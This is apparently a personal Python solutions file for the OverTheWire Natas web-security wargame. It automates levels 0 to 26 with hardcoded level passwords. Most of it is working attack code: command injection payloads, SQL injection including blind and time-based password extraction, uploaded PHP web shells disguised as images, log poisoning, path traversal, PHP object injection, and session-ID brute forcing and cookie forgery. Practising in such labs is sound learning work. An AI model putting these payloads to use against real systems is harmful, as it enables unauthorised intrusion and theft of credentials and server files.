Temporary file for my solutions to OverTheWire - Natas

Natas

import re
import sys
import requests

def natas0(verbose=False):
    username = 'natas0'
    password = username
    url = f'http://{username}.natas.labs.overthewire.org'
    response = requests.get(url, auth=(username, password))
    content = response.text
    return re.findall('<!--The password for natas1 is (.*) -->', content)[0]

def natas1(verbose=False):
    username = 'natas1'
    password = 'gtVrDuiDfck831PqWsLEZy5gyDz1clto'
    url = f'http://{username}.natas.labs.overthewire.org'
    response = requests.get(url, auth=(username, password))
    content = response.text
    return re.findall('<!--The password for natas2 is (.*) -->', content)[0]

def natas2(verbose=False):
    username = 'natas2'
    password = 'ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi'
    url = f'http://{username}.natas.labs.overthewire.org/files/users.txt'
    response = requests.get(url, auth=(username, password))
    content = response.text
    return re.findall('natas3:(.*)', content)[0]

def natas3(verbose=False):
    username = 'natas3'
    password = 'sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14'
    url = f'http://{username}.natas.labs.overthewire.org/s3cr3t/users.txt'
    response = requests.get(url, auth=(username, password))
    content = response.text
    return re.findall('natas4:(.*)', content)[0]

def natas4(verbose=False):
    username = 'natas4'
    password = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ'
    headers = {'Referer': 'http://natas5.natas.labs.overthewire.org/'}
    url = f'http://{username}.natas.labs.overthewire.org'
    response = requests.get(url, auth=(username, password), headers=headers)
    content = response.text
    return re.findall('Access granted. The password for natas5 is (.*)', content)[0]

def natas5(verbose=False):
    username = 'natas5'
    password = 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq' 
    cookies = {'loggedin': '1'}
    url = f'http://{username}.natas.labs.overthewire.org'
    with requests.Session() as session:
        response = session.get(url, auth=(username, password), cookies=cookies)
        content = response.text
    return re.findall('Access granted. The password for natas6 is (.*)</div>', content)[0]

def natas6(verbose=False):
    username = 'natas6'
    password = 'aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1'
    url = f'http://{username}.natas.labs.overthewire.org'
    data = {
        'secret': 'FOEIUWGHFEEUHOFUOIU',
        'submit': 'submit',
    }
    response = requests.post(url, auth=(username, password), data=data)
    content = response.text
    flag = re.findall('Access granted. The password for natas7 is (.*)', content)[0]
    return flag

def natas7(verbose=False):
    username = 'natas7'
    password = '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9'
    url = f'http://{username}.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8'
    response = requests.post(url, auth=(username, password))
    content = response.text
    flag = re.findall('<br>\n(.*)\n\n<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->', content)[0]
    return flag

def natas8(verbose=False):
    import base64
    username = 'natas8'
    password = 'DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe'
    url = f'http://{username}.natas.labs.overthewire.org/'

    # Get encoded_secret '3d3d516343746d4d6d6c315669563362' from source code URL
    # $encodedSecret&nbsp;=&nbsp;"3d3d516343746d4d6d6c315669563362";
    response = requests.get(f'{url}index-source.html', auth=(username, password))
    encoded_secret = re.findall(r'\$encodedSecret&nbsp;=&nbsp;"([^"]*)";', response.text)[0]

    # Reverse secret based on source code
    secret = base64.b64decode(bytes.fromhex(encoded_secret).decode('utf-8')[::-1]).decode()
    data = {
        'secret': secret,
        'submit': 'submit',
    }

    # Pass secret value via POST request
    response = requests.post(url, auth=(username, password), data=data)
    content = response.text
    flag = re.findall('Access granted. The password for natas9 is (.*)', content)[0]
    return flag

def natas9(verbose=False):
    username = 'natas9'
    password = 'W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl'
    url = f'http://{username}.natas.labs.overthewire.org'
    data = {
        'needle': '; cat  /etc/natas_webpass/natas10; #',
        'submit': 'submit',
    }
    response = requests.post(url, auth=(username, password), data=data)
    content = response.text
    flag = re.findall('Output:\n<pre>\n(.*)\n</pre>', content)[0]
    return flag

def natas10(verbose=False):
    username = 'natas10'
    password = 'nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu'
    url = f'http://{username}.natas.labs.overthewire.org'
    data = {
        'needle': '. /etc/natas_webpass/natas11 #',
        'submit': 'submit',
    }
    response = requests.post(url, auth=(username, password), data=data)
    content = response.text
    flag = re.findall('Output:\n<pre>\n(.*)\n</pre>', content)[0]
    return flag

def natas11(verbose=False):
    import base64
    import urllib
    username = 'natas11'
    password = 'U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK' 
    url = f'http://{username}.natas.labs.overthewire.org'

    # PHP xor_encrypt() function from natas11 source converted to Python
    def xor(x, y):
        output = ''
        for i in range(len(x)):
            output += chr(ord(x[i]) ^ ord(y[i % len(y)]))
        return output

    with requests.Session() as session:
        session.auth = (username, password)
        response = session.get(url)

        # Cookie received is URL encoded, so decode using urllib.parse.unquote(str)
        cookie_received = urllib.parse.unquote(session.cookies['data'])
        # After URL decoding, decode from base64
        b64_decoded = base64.b64decode(cookie_received)

        # Original $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
        showpassword_no = '{"showpassword":"no","bgcolor":"#ffffff"}'

        ''' Unnecessary steps, but demonstrates bin2hex and hex2bin
        # Convert from binary to hex
        hex_encoded = b64_decoded.hex()
        # Convert from hex to binary
        binary_encoded = bytes.fromhex(hex_encoded).decode()
        # XOR will return same result as direct method below
        xor_key = xor(showpassword_no, binary_encoded)
        '''

        xor_key = xor(showpassword_no, b64_decoded.decode())
        # xor_key is a repeated string 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq'
        key = xor_key[:4] # Key is the first 4 characters that get repeated

        # XOR showpassword_yes with key to generate cookie_payload
        showpassword_yes = '{"showpassword":"yes","bgcolor":"#ffffff"}'
        ciphertext = xor(showpassword_yes, key)
        cookie_payload = base64.b64encode(ciphertext.encode()).decode()

        session.cookies.set('data', cookie_payload)
        response = session.get(url)
        content = response.text

    return re.findall('The password for natas12 is (.*)<br>', content)[0]

def natas12(verbose=False):
    level = 12
    username = f'natas{level}'
    password = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3'
    url = f'http://{username}.natas.labs.overthewire.org/'

    '''
    <?php
        system($_GET['foo_bar']);
    ?>
    '''

    # Upload PHP reverse shell file via POST request
    response = requests.post(
        url,
        auth=(username, password),
        files = {'uploadedfile': open(f'{username}_reverse_shell.php', 'rb')},
        data = {'filename': f'{username}_reverse_shell.php'}
    )

    # Get location of uploaded PHP reverse shell file
    relative_path =  re.findall('The file <a href="(.*)">upload/', response.text)[0]

    # Use uploaded PHP reverse shell file to read contents of password file
    command = f'?foo_bar=cat /etc/natas_webpass/natas{level+1}'
    response = requests.post(url+relative_path+command, auth=(username, password))
    return response.text.strip()

def natas13(verbose=False):
    level = 13
    username = f'natas{level}'
    password = 'jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY'
    url = f'http://{username}.natas.labs.overthewire.org/'

    '''
    GIF89a
    <?php
        system($_GET['foo_bar']);
    ?>
    '''

    # Upload PHP reverse shell file disguised as GIF89a image file via POST request
    response = requests.post(
        url,
        auth=(username, password),
        files = {'uploadedfile': open(f'{username}_reverse_shell.php', 'rb')},
        data = {'filename': f'{username}_reverse_shell.php'}
    )

    # Get location of uploaded PHP reverse shell file
    relative_path =  re.findall('The file <a href="(.*)">upload/', response.text)[0]

    # Use uploaded PHP reverse shell file to read contents of password file
    command = f'?foo_bar=cat /etc/natas_webpass/natas{level+1}'
    response = requests.post(url+relative_path+command, auth=(username, password))
    return re.findall('GIF89a\n\n(.*)\n', response.text)[0]

def natas14(verbose=False):
    level = 14
    username = f'natas{level}'
    password = 'Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1'
    url = f'http://{username}.natas.labs.overthewire.org/'
    sql_command = '" OR 1=1 #'
    data = {
        'username': sql_command,
        'password': '',
    }
    response = requests.post(url, auth=(username, password), data=data)
    content = response.text
    flag =  re.findall('Successful login! The password for natas15 is (.*)<br>', content)[0]
    return flag

def natas15(verbose=False):
    import string
    level = 15
    username = f'natas{level}'
    password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
    url = f'http://{username}.natas.labs.overthewire.org/'

    # Generate list of all possible flag characters
    possible_characters = string.ascii_lowercase + string.ascii_uppercase + string.digits

    def http_request(username, password, password_try):
        sql_command = f'natas16" AND BINARY password LIKE "{password_try}%" #'
        data = {'username': sql_command}
        response = requests.post(url, auth=(username, password), data=data)
        return response.text

    # flag = ''
    flag = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
    loop = True
    while loop:
        for counter, char in enumerate(possible_characters):
            password_try = flag + char
            if verbose: print(f'Level {level}\tTrying...' + password_try)

            if 'This user exists.' in http_request(username, password, password_try):
                flag += char
                break
            elif counter==len(possible_characters)-1:
                # If none of possible_characters match, then stop looping
                loop = False

    return flag

def natas16(verbose=False):
    import string
    level = 16
    username = f'natas{level}'
    password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
    url = f'http://{username}.natas.labs.overthewire.org/'

    # Generate list of all possible flag characters
    possible_characters = string.ascii_letters + string.digits

    def http_request(username, password, password_try):
        bash_command = f'vulnerability$(grep ^{password_try} /etc/natas_webpass/natas17)'
        data = {'needle': bash_command}
        response = requests.post(url, auth=(username, password), data=data)
        return response.text

    # flag = ''
    flag = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
    loop = True
    while loop:
        for counter, char in enumerate(possible_characters):
            password_try = flag + char
            if verbose: print(f'Level {level}\tTrying...' + password_try)

            if 'Output:\n<pre>\nvulnerability\n</pre>\n' not in http_request(username, password, password_try):
                flag += char
                break
            elif counter==len(possible_characters)-1:
                # If none of possible_characters match, then stop looping
                loop = False

    return flag

def natas17(verbose=False):
    import string
    from time import time
    level = 17
    username = f'natas{level}'
    password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
    url = f'http://{username}.natas.labs.overthewire.org/'

    # Generate list of all possible flag characters
    possible_characters = string.ascii_letters + string.digits

    def http_request(username, password, password_try):
        t0 = time()
        sql_command = f'natas18" AND BINARY password LIKE "{password_try}%" AND SLEEP(10) #'
        data = {'username': sql_command}
        response = requests.post(url, auth=(username, password), data=data)
        return time()-t0

    # flag = ''
    flag = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'
    loop = True
    while loop:
        for counter, char in enumerate(possible_characters):
            password_try = flag + char
            t1 = http_request(username, password, password_try)
            if verbose: print(f'Level {level}\tTrying...', password_try, str(round(t1, 3)), 'seconds')

            if t1 > 10:
                # If reponse time > 10 secs, then SQL 'SLEEP' command succeeded and password_try character(s) exist(s)
                flag += char
                break
            elif counter==len(possible_characters)-1:
                # If none of possible_characters match, then stop looping
                loop = False

    return flag

def natas18(verbose=False):
    level = 18
    username = f'natas{level}'
    password = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'
    url = f'http://{username}.natas.labs.overthewire.org/'

    def http_request(session_id):
        with requests.Session() as session:
            cookies={'PHPSESSID': session_id}
            response = session.post(url, auth=(username, password), cookies=cookies)
        return response.text

    range_start = 118 # Set to 0 to run full range
    range_end = 641
    for session_id in range(range_start, range_end):
        content = http_request(str(session_id))
        if 'You are logged in as a regular user. Login as an admin to retrieve credentials' in content:
            if verbose: print(f'Level {level}\tTrying... PHPSESSID', session_id) 
        elif 'You are an admin. The credentials for the next level are:' in content:
            return re.findall('The credentials for the next level are:<br><pre>Username: natas19\nPassword: (.*)</pre>', content)[0]
        else:
            return 'Error, incorrect PHPSESSID.'

def natas19(verbose=False):
    import binascii
    level = 19
    username = f'natas{level}'
    password = '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'
    url = f'http://{username}.natas.labs.overthewire.org/'

    def http_request(session_id):
        with requests.Session() as session:
            cookies = {'PHPSESSID': session_id}
            response = session.post(url, auth=(username, password), cookies=cookies)
        return response.text

    range_start = 280 # Set to 0 to run full range
    range_end = 641
    for i in range(range_start, range_end):
        PHPSESSID = binascii.hexlify(f'{str(i)}-admin'.encode()).decode()
        content = http_request(PHPSESSID)
        if 'You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.</div>' in content:
            if verbose: print(f'Level {level}\tTrying... id', str(i).zfill(3), 'PHPSESSID:', PHPSESSID)
        elif 'You are an admin. The credentials for the next level are:<br><pre>Username: natas20' in content:
            return re.findall('Password: (.*)</pre></div>', content)[0]
        else:
            return 'Error, incorrect PHPSESSID.'

def natas20(verbose=False):
    level = 20
    username = f'natas{level}'
    password = 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'
    url = f'http://{username}.natas.labs.overthewire.org/'

    with requests.Session() as session:
        session.auth=(username, password)
        data = {'name': 'foobar\nadmin 1'}

        # Send newline admin payload via POST request
        response = session.post(url=url, data=data)

        # Make new HTTP request with cookie obtained from previous request
        response = session.get(url=url, cookies=response.cookies)
        flag = re.findall('Password: (.*)</pre>', response.text)[0]

    return flag

def natas21(verbose=False):
    level = 21
    username = f'natas{level}'
    password = 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'
    url = f'http://{username}.natas.labs.overthewire.org/'
    experimenter_url = f'http://{username}-experimenter.natas.labs.overthewire.org/index.php'

    with requests.Session() as session:
        # Set admin value to '1' via POST request
        data = {'admin': '1', 'submit': 'submit'}
        response = session.post(url=experimenter_url, auth=(username, password), data=data)

        # Get automatically assigned PHPSESSID from experimenter URL
        cookies= {'PHPSESSID': response.cookies.get('PHPSESSID')}

        # Since session is shared, use same PHPSESSID to access main URL to log in as admin
        response = session.post(url=url, auth=(username, password), cookies=cookies)
        flag = re.findall('Password: (.*)</pre>', response.text)[0]

    return flag

def natas22(verbose=False):
    level = 22
    username = f'natas{level}'
    password = 'chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ'
    url = f'http://{username}.natas.labs.overthewire.org/'
    response = requests.get(url=f'{url}?revelio', auth=(username, password), allow_redirects=False)
    flag = re.findall('Password: (.*)</pre>', response.text)[0]
    return flag

def natas23(verbose=False):
    level = 23
    username = f'natas{level}'
    password = 'D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE'
    url = f'http://{username}.natas.labs.overthewire.org/'

    # PHP code: if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10)){ ...
    # As there is an 'e' in the string, then it is treated as a float in $_REQUEST["passwd"] > 10
    # Therefore prepend number larger than 10 to string
    data = {'passwd': '99iloveyou'}
    response = requests.post(url=url, auth=(username, password), data=data)
    flag = re.findall('<pre>Username: natas24 Password: (.*)</pre>', response.text)[0]
    return flag

def natas24(verbose=False):
    level = 24
    username = f'natas{level}'
    password = 'OsRmXFguozKpTZZ5X14zNO43379LZveg'
    url = f'http://{username}.natas.labs.overthewire.org/'
    response = requests.get(url=f'{url}?passwd[]', auth=(username, password))
    flag = re.findall('Password: (.*)</pre>', response.text)[0]
    return flag

def natas25(verbose=False):
    level = 25
    username = f'natas{level}'
    password = 'GHF6X7YwACaYYssHVY05cFq83hRktl4c'
    url = f'http://{username}.natas.labs.overthewire.org/'

    with requests.Session() as session:
        session.auth = (username, password)
        response = session.get(url=f'{url}?lang=en')
        PHPSESSID = response.cookies.get('PHPSESSID')

        # PHP code prevents inclusion of 'natas_webpass': strstr($filename,"natas_webpass")
        # But logs are saved to server
        # Therefore include PHP payload in User-Agent header
        php_payload = "<?php system('cat /etc/natas_webpass/natas26'); ?>"
        headers = {'User-Agent': php_payload}

        # language of website is set by taking 'lang' parameter and reading file
        # PHP code replaces '../' with '': $filename=str_replace("../","",$filename);
        # Therefore '..././' will reduce to '../', then link to payload log file
        # $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        data = {'lang': '..././'*5 + 'var/www/natas/natas25/logs/natas25_' + PHPSESSID + '.log'}

        response = session.post(url, data=data, headers=headers)
        flag = re.findall('] ([a-zA-Z0-9]*)\n "Directory traversal attempt! fixing request."', response.text)[0]

    return flag

def natas26(verbose=False):
    import base64
    import subprocess
    level = 26
    username = f'natas{level}'
    password = 'oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T'
    url = f'http://{username}.natas.labs.overthewire.org/'

    '''
    <?php
        class Logger{
            private $logFile;
            private $initMsg;
            private $exitMsg;

            function __construct(){
                // initialise variables
                $this->initMsg = "<?php system('cat /etc/natas_webpass/natas27'); ?>";
                $this->exitMsg = "<?php system('cat /etc/natas_webpass/natas27'); ?>";
                $this->logFile = "img/00000000.php";

                // write initial message
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$initMsg);
                fclose($fd);
            }

            function log($msg){
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$msg."\n");
                fclose($fd);
            }

            function __destruct(){
                // write exit message
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$this->exitMsg);
                fclose($fd);
            }
        }

        $logger_object = new Logger();

        // echo(serialize($logger_object));
        // echo("\n");
        echo(base64_encode(serialize($logger_object)));
        // echo("\n");
    ?>
    '''

    subproc = subprocess.run(
        args = ['php', 'natas26_php_object_injection.php'],
        stdout = subprocess.PIPE,
        stderr = subprocess.DEVNULL,
        text = True,
    )
    php_object_b64 = subproc.stdout
    # php_object_b64 = 'Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxNjoiaW1nLzAwMDAwMDAwLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjUwOiI8P3BocCBzeXN0ZW0oJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8P3BocCBzeXN0ZW0oJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PiI7fQ=='

    with requests.Session() as session:
        session.auth = (username, password)
        session.cookies['drawing'] = php_object_b64
        response = session.get(url)
        response = session.get(url + 'img/00000000.php')
    return response.text.split('\n')[0]


def output_next_level(level, flag):
    return f'natas{level}\thttp://natas{level}.natas.labs.overthewire.org/\t{flag}'

def get_flag(level, **kwargs):
    func = globals().get(f'natas{level}')
    if func:
        return output_next_level(level+1, func(**kwargs))
    else:
        return f'Error! Function natas{level} not found.'

def get_all_flag_funcs():
    natas_funcs = []
    for k,v in globals().items():
        if 'natas' in k:
            natas_funcs.append(v)
    return natas_funcs

def error_main():
    sys.stderr.write(f'Usage:\n$ python {sys.argv[0]}\n$ python {sys.argv[0]} -v -l <arg>\t(where <arg> must be an integer)\n')

def main():
    if len(sys.argv)==1:
        print(output_next_level(0, 'natas0'))
        for counter, func in enumerate(get_all_flag_funcs()):
            print(output_next_level(counter+1, func()))
        print('--END--')
    elif len(sys.argv)>1:
        kwargs = {}
        if '-v' in sys.argv:
            kwargs.update({'verbose': True})
            if '-l' in sys.argv and sys.argv.index('-l')<len(sys.argv)-1 and sys.argv[sys.argv.index('-l')+1].isdigit():
                sys.stdout.write(f'{get_flag(int(sys.argv[sys.argv.index("-l")+1]), **kwargs)}\n')
            elif len(sys.argv)==2:
                print(output_next_level(0, 'natas0'))
                for counter, func in enumerate(get_all_flag_funcs()):
                    print(output_next_level(counter+1, func(**kwargs)))
                print('--END--')
            else:
                error_main()
        elif '-l' in sys.argv and sys.argv.index('-l')<len(sys.argv)-1 and sys.argv[sys.argv.index('-l')+1].isdigit():
            sys.stdout.write(f'{get_flag(int(sys.argv[sys.argv.index("-l")+1]))}\n')
        else:
            error_main()
    else:
        error_main()

if __name__=='__main__':
    main()